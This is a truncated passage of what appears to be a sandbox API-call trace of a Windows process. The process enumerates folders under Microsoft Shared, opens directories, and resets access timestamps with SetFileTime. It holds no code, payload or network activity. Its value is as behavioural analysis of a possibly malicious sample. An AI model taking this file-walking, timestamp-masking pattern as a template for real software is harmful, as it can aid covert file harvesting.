nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.617] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1bc [0240.617] SetFileTime (hFile=0x1bc, lpCreationTime=0x0, lpLastAccessTime=0x15fee94, lpLastWriteTime=0x15fee94) returned 0 [0240.617] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9116c8 [0240.618] DeviceIoControl (in: hDevice=0x1bc, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9116c8, nOutBufferSize=0x4000, lpBytesReturned=0x15feeec, lpOverlapped=0x0 | out: lpOutBuffer=0x9116c8, lpBytesReturned=0x15feeec, lpOverlapped=0x0) returned 0 [0240.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9116c8) returned 1 [0240.618] NtClose (Handle=0x1bc) returned 0x0 [0240.618] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5200 [0240.618] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f68d8 [0240.618] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0240.618] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.618] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0240.618] GetLastError () returned 0x12 [0240.618] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd5e0 [0240.618] FindClose (in: hFindFile=0x4fd620 | out: hFindFile=0x4fd620) returned 1 [0240.618] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.618] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0240.619] GetLastError () returned 0x12 [0240.619] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f68d8) returned 1 [0240.619] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0240.619] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5200) returned 1 [0240.619] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0240.619] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1 [0240.619] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1 [0240.619] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1 [0240.619] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1 [0240.619] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1 [0240.619] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x0, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0 [0240.619] GetLastError () returned 0x12 [0240.619] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0240.619] FindClose (in: hFindFile=0x4fd560 | out: hFindFile=0x4fd560) returned 1 [0240.619] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x909988) returned 1 [0240.619] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.619] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15ff20c | out: lpFindFileData=0x15ff20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1 [0240.619] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0240.619] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), fInfoLevelId=0x0, lpFileInformation=0x15ff108 | out: lpFileInformation=0x15ff108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0240.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b0 [0240.664] SetFileTime (hFile=0x1b0, lpCreationTime=0x0, lpLastAccessTime=0x15ff14c, lpLastWriteTime=0x15ff14c) returned 0 [0240.664] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x9116c8 [0240.664] DeviceIoControl (in: hDevice=0x1b0, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x9116c8, nOutBufferSize=0x4000, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x9116c8, lpBytesReturned=0x15ff1a4, lpOverlapped=0x0) returned 0 [0240.664] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9116c8) returned 1 [0240.664] NtClose (Handle=0x1b0) returned 0x0 [0240.665] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f4fe0) returned 1 [0240.665] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f4fe0 [0240.665] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0240.665] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0240.665] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x15fef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fef54) returned 0x4fd560 [0240.826] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0240.974] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0240.974] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5146e3d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0240.974] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: lpFindFileData=0x15fef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0240.975] FindNextFileW (in: hFindFile=0x4fd560, lpFindFileData=0x15fef54 | out: 